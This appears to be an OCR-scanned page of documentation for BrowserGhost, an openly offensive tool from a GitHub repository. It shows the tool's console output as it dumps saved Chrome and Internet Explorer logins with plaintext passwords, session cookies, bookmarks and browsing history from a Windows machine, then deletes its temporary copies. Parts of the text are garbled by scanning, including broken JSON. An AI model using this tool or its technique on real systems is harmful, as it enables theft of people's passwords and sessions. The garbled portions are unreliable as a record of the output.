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C:\Users\Administrator\Desktop>BrowserGhost.exe
[+] Current user Administrator

[*] [4764] [explorer] [Administrator]

[*] Impersonate user Administrator

[*]1 Current user Administrator

[*]Get Chrome Login Data
[+] Copy C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data to C:\Users\Ac
[URL] -> https://xui.ptlogin2.qq.com/cgi-bin/xlogin
[USERNAME] -> n@thing@gmail.com
[PASSWORD] -> Iloveprettygirls

[+] Delete File C:\Users\Administrator\AppData\Local\Temp\tmp6B9F.tmp

[*]Get Chrome Bookmarks
{
"checksum": "eee70b132cc4f9644d01f989e18fdb38",
"roots": {
"bookmark_bar": {
"children": [ {
"date_added": "13236861887917624",
"guid": "c5df2041-d745-4173-af39-b5c48f8d98a2",

Ilidll: ll5|l,
"name": "GitHub",
Iltypell: llur'llll

"url": "https://github.com/"
{1
"date_added": "13236861618031351",
"date_modified": "13236861887917624",
"guid": "00000000-0000-4000-a000-000000000002",
"id": "1",
"name": "FEF",
"type": "folder"
Bo
"other": {
"children": [ 1,
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"date_added": "13236861618031378",
"date_modified": "0",
"guid": "00000000-0000-4000-a000-000000000003",
"id": "2",
"name": "HABHE",
"type": "folder"

b

"synced": {
"children": [ 1,
"date_added": "13236861618031381",
"date_modified": "0",
"guid": "00000000-0000-4000-2000-000000000004",
"id": "3",
"name": "BBINRFPHL",
"type": "folder"

}I

"version": 1

[*]Get Chrome Cookie

[+] Copy C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cookies to C:\Users\Admir

[github.com] _device_id=516175fxxxxxxxxx90133c2
[.github.com] _octo=GH1.1.3xxxxxxxxx5173
[.google.com] NID=204=DEIRBPT8FML_IsHGv1B2xxxxxxxxxxxxxxxxxxxSR1aNRV3-nfhFV8aHAg06Smtf4IXQqR-W63p¢€

[+] Delete File C:\Users\Administrator\AppData\Local\Temp\tmp6D94.tmp

[*]Get Chrome History

[+] Copy C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\History to C:\Users\Admir
http://github.com/ The world’s leading software development platform - GitHub
https://github.com/ GitHub

https://github.com/login  Sign in to GitHub - GitHub

[+] Delete File C:\Users\Administrator\AppData\Local\Temp\tmp6E32.tmp

IE

[*]Get IE Books

C:\Users\Administrator\Favorites\Sign in to GitHub - GitHub.url
URL=https://github.com/session

[*]Get IE Password

Vault Type : Web Credentials
Resource : https://github.com/
Identity : n@thing@gmail.com
Credential : Iloveprettygirls

Page 2 of 3



https://github.com /QAX-A-Team /BrowserGhost

LastModified : 2020/6/17 7:08:50

[*]Get IE History
https://github.com/login
https://github.com/join
https://github.com/john
https://github.com/sign
http://github.com/
http://go.microsoft.com/fwlink/p/?LinkId=255141
[*] Recvtoself

[*] Current user Administrator

Source: https://github.com/QAX-A-Team/BrowserGhost
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